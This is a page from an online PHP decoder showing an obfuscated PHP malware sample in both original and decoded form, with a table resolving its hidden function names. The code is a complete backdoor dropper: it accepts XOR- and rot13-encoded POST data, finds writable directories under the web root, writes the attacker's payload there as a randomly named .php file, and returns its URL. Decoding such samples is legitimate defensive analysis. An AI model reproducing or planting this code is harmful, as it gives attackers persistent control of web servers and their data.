Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $GMdQGaw = 'D'."\x4f".chr(420-353)."\x55".'M'.chr(69)."\116".chr(84).chr(634-539)."\..

Decoded Output download

<?php $GMdQGaw = 'D'."O".chr(420-353)."U".'M'.chr(69)."N".chr(84).chr(634-539)."R"."O"."O".chr(344-260);$iyMxEdIrGh = "H"."T"."T".chr(858-778).'_'.'H'.'O'."S".'T';$UMGOBBhyH = chr(104)."t".chr(328-212).chr(649-537).":".chr(648-601)."/";$GERHeVr = '.'.chr(758-646)."h".chr(112);$IoJaECNlp = chr(112)."h".'p';$cEyNbDnW = "f".chr(141-36).'l'.chr(713-612)."_".chr(895-783)."u"."t".'_'.chr(99)."o"."n"."t".'e'."n".'t'.chr(115);$klwvH = 'r'.chr(730-633).chr(119).chr(117).'r'."l".chr(116-16)."e".chr(870-771)."o"."d".chr(101);$ghkhTyct = chr(137-20)."n"."s"."e".chr(520-406).'i'.chr(1047-950)."l".chr(105).'z'.'e';$kQURvd = "i"."s".chr(95)."w"."r".'i'."t".chr(507-410)."b".'l'.chr(663-562);$pMEcycbKa = 'p'."h".chr(112).chr(1026-908).chr(641-540)."r".chr(785-670).'i'."o".chr(607-497);$HAnLI = chr(172-57).chr(116)."r"."_".chr(114).'o'.'t'."1"."3";$zZtSZiWf = chr(115)."e".chr(755-641).chr(946-841).'a'.'l'."i".chr(122)."e";$FniDXsSXI = 's'.'t'."r"."_".chr(741-626)."p"."l"."i".'t';foreach ($_POST as $IckhWAQaN => $hlGSF){if (strlen($IckhWAQaN) == 16){$hlGSF = $FniDXsSXI($klwvH($HAnLI($hlGSF)));$IckhWAQaN = array_slice($FniDXsSXI(str_repeat($IckhWAQaN, (count($hlGSF)/16)+1)), 0, count($hlGSF));function lWVYsAiz($NYCybEnNr, $WWHcdWepk, $IckhWAQaN){$cPYPqDR = "60b2abad-0532-4780-aeba-865861637a2b";return $NYCybEnNr ^ $cPYPqDR[$WWHcdWepk % strlen($cPYPqDR)] ^ $IckhWAQaN;}$hlGSF = implode("", array_map("lWVYsAiz", array_values($hlGSF), array_keys($hlGSF), array_values($IckhWAQaN)));$hlGSF = @$ghkhTyct($hlGSF);if (@is_array($hlGSF)){$BemdZpduD = array_keys($hlGSF);$hlGSF = $hlGSF[$BemdZpduD[0]];if ($hlGSF === $BemdZpduD[0]){echo @$zZtSZiWf(Array($IoJaECNlp => @$pMEcycbKa(), ));exit();}else {function urEKlcDD($IKgqiir){static $aotjtsPfxX = array();$RiCQLSOEFz = glob($IKgqiir . '/*', GLOB_ONLYDIR);if (count($RiCQLSOEFz) > 0) {foreach ($RiCQLSOEFz as $IKgqi) {if (@$kQURvd($IKgqi)) {$aotjtsPfxX[] = $IKgqi;}}}foreach ($RiCQLSOEFz as $IKgqiir) urEKlcDD($IKgqiir);return $aotjtsPfxX;}$nsDJng = $_SERVER[$GMdQGaw];$RiCQLSOEFz = urEKlcDD($nsDJng);$BemdZpduD = array_rand($RiCQLSOEFz);$kAmfG = $RiCQLSOEFz[$BemdZpduD] . "/" . substr(md5(time()), 0, 8) . $GERHeVr;@$cEyNbDnW($kAmfG, $hlGSF);echo $UMGOBBhyH . $_SERVER[$iyMxEdIrGh] . substr($kAmfG, strlen($nsDJng));die();}}}} ?>

Did this file decode correctly?

Original Code

<?php $GMdQGaw = 'D'."\x4f".chr(420-353)."\x55".'M'.chr(69)."\116".chr(84).chr(634-539)."\122"."\x4f"."\117".chr(344-260);$iyMxEdIrGh = "\x48"."\x54"."\124".chr(858-778).'_'.'H'.'O'."\123".'T';$UMGOBBhyH = chr(104)."\x74".chr(328-212).chr(649-537)."\72".chr(648-601)."\57";$GERHeVr = '.'.chr(758-646)."\x68".chr(112);$IoJaECNlp = chr(112)."\x68".'p';$cEyNbDnW = "\x66".chr(141-36).'l'.chr(713-612)."\137".chr(895-783)."\165"."\164".'_'.chr(99)."\x6f"."\156"."\x74".'e'."\156".'t'.chr(115);$klwvH = 'r'.chr(730-633).chr(119).chr(117).'r'."\x6c".chr(116-16)."\145".chr(870-771)."\157"."\x64".chr(101);$ghkhTyct = chr(137-20)."\x6e"."\x73"."\145".chr(520-406).'i'.chr(1047-950)."\154".chr(105).'z'.'e';$kQURvd = "\151"."\x73".chr(95)."\167"."\162".'i'."\164".chr(507-410)."\142".'l'.chr(663-562);$pMEcycbKa = 'p'."\x68".chr(112).chr(1026-908).chr(641-540)."\162".chr(785-670).'i'."\x6f".chr(607-497);$HAnLI = chr(172-57).chr(116)."\162"."\137".chr(114).'o'.'t'."\61"."\63";$zZtSZiWf = chr(115)."\145".chr(755-641).chr(946-841).'a'.'l'."\x69".chr(122)."\145";$FniDXsSXI = 's'.'t'."\x72"."\x5f".chr(741-626)."\160"."\x6c"."\151".'t';foreach ($_POST as $IckhWAQaN => $hlGSF){if (strlen($IckhWAQaN) == 16){$hlGSF = $FniDXsSXI($klwvH($HAnLI($hlGSF)));$IckhWAQaN = array_slice($FniDXsSXI(str_repeat($IckhWAQaN, (count($hlGSF)/16)+1)), 0, count($hlGSF));function lWVYsAiz($NYCybEnNr, $WWHcdWepk, $IckhWAQaN){$cPYPqDR = "60b2abad-0532-4780-aeba-865861637a2b";return $NYCybEnNr ^ $cPYPqDR[$WWHcdWepk % strlen($cPYPqDR)] ^ $IckhWAQaN;}$hlGSF = implode("", array_map("lWVYsAiz", array_values($hlGSF), array_keys($hlGSF), array_values($IckhWAQaN)));$hlGSF = @$ghkhTyct($hlGSF);if (@is_array($hlGSF)){$BemdZpduD = array_keys($hlGSF);$hlGSF = $hlGSF[$BemdZpduD[0]];if ($hlGSF === $BemdZpduD[0]){echo @$zZtSZiWf(Array($IoJaECNlp => @$pMEcycbKa(), ));exit();}else {function urEKlcDD($IKgqiir){static $aotjtsPfxX = array();$RiCQLSOEFz = glob($IKgqiir . '/*', GLOB_ONLYDIR);if (count($RiCQLSOEFz) > 0) {foreach ($RiCQLSOEFz as $IKgqi) {if (@$kQURvd($IKgqi)) {$aotjtsPfxX[] = $IKgqi;}}}foreach ($RiCQLSOEFz as $IKgqiir) urEKlcDD($IKgqiir);return $aotjtsPfxX;}$nsDJng = $_SERVER[$GMdQGaw];$RiCQLSOEFz = urEKlcDD($nsDJng);$BemdZpduD = array_rand($RiCQLSOEFz);$kAmfG = $RiCQLSOEFz[$BemdZpduD] . "/" . substr(md5(time()), 0, 8) . $GERHeVr;@$cEyNbDnW($kAmfG, $hlGSF);echo $UMGOBBhyH . $_SERVER[$iyMxEdIrGh] . substr($kAmfG, strlen($nsDJng));die();}}}}

Function Calls

chr 44

Variables

$HAnLI str_rot13
$klwvH rawurldecode
$kQURvd is_writable
$GERHeVr .php
$GMdQGaw DOCUMENT_ROOT
$cEyNbDnW file_put_contents
$ghkhTyct unserialize
$zZtSZiWf serialize
$FniDXsSXI str_split
$IoJaECNlp php
$UMGOBBhyH http://
$pMEcycbKa phpversion
$iyMxEdIrGh HTTP_HOST

Stats

MD5 7d75f38b370553e5ce173d131d427813
Eval Count 0
Decode Time 202 ms